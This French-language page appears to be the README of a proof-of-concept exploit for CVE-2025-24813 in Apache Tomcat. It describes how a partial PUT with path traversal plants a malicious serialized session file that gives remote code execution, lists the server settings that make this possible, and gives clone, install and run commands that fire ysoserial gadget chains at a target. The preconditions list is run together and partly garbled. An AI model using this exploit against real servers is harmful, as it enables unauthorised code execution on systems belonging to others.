
CVE-2025-24813 - RCE Apache Tomcat via désérialisation de session - Exploit PoC

Apache Tomcat - Exécution de code à distance via désérialisation de session
PUT partiel non authentifié + traversée de chemin + désérialisation pilotée par gadget
Les instances Apache Tomcat avec le servlet par défaut PUT activé (readonly=false) permettent d'écrire des fichiers via des requêtes HTTP PUT. En forgeant un chemin qui traverse le répertoire de téléversement vers l'emplacement de stockage de session FileStore, un attaquant peut déposer un objet Java sérialisé contrefait en tant que fichier .session. La prochaine requête qui référence cette session déclenche la désérialisation, exécutant la chaîne de gadget embarquée.
readonly=false dans conf/web.xmlorg.apache.catalina.session.PersistentManager avec configuré dans le de l'application webFileStoreMETA-INF/context.xmlorg.apache.commons.collections.enableUnsafeSerialization=true (ou commons-collections < 3.2.2)PUT et la traversée de chemin ne sont pas filtrés par un proxy inverse ou un WAFgit clone https://github.com/yuzuki-ayanami/CVE-2025-24813
cd CVE-2025-24813
pip install -r requirements.txt
python cve-2025-24813.py http://cible:8080 --ysoserial ysoserial.jar -c 'id'
python cve-2025-24813.py http://cible:8080 --ysoserial ysoserial.jar -c 'whoami' --gadget CommonsCollections7